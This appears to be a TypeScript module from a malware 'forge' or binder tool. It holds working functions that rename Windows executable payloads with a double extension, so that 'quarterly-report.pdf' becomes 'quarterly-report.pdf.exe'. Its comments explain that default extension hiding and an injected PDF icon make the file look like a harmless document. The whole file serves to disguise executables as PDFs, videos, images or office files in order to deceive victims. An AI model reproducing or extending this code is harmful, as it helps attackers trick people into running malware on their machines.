/** Return true if the file is a Windows executable payload (run directly). */
export function isFusionExeFile(file: File | null | undefined): boolean {
  if (!file?.name) return false;
  return /\.exe$/i.test(file.name);
}

/** Derive a clean title from any filename (strips extension). */
export function fusionTitleFromFilename(name: string): string {
  const base = name.replace(/^.*[/\\]/, '');
  // Remove all extensions from the title
  return base.replace(/\.[^.]+$/, '') || 'file';
}

/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
 *  e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
 *       "setup.exe"             → "setup.exe" (run directly)
 */
export function defaultRunnerName(mediaName: string): string {
  return disguisedWindowsRunnerName(mediaName);
}

/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
export function defaultEmbeddedName(mediaName: string): string {
  return defaultRunnerName(mediaName);
}

/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
export function fusionPayloadKind(file: File | null | undefined): string {
  if (!file?.name) return 'file';
  return /\.exe$/i.test(file.name) ? 'exe' : 'file';
}

/**
 * Returns the Windows runner filename that uses the double-extension trick.
 * "quarterly-report.pdf" → "quarterly-report.pdf.exe"
 * Windows hides the .exe when extension hiding is on (the OS default), so the
 * user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
 */
export function disguisedWindowsRunnerName(payloadName: string): string {
  const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
  if (ext === '.exe' || ext === '') {
    // Already an exe or no extension — no double-extension trick needed
    const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
    return base + '.exe';
  }
  const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
  return base + ext + '.exe';
}

/** What the disguised Windows file looks like to the user (with ext hiding on). */
export function disguisedDisplayName(payloadName: string): string {
  // Strips the trailing .exe → shows the double-extension name without .exe
  const runner = disguisedWindowsRunnerName(payloadName);
  return runner.replace(/\.exe$/i, '');
}

/** Friendly label for a file type based on extension. */
export function fusionFileTypeLabel(filename: string): string {
  const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
  const labels: Record<string, string> = {
    pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
    avi: 'AVI video', doc: 'Word document', docx: 'Word document',
    xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
    jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
    zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
    txt: 'Text file', csv: 'CSV file',
  };
  return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
}
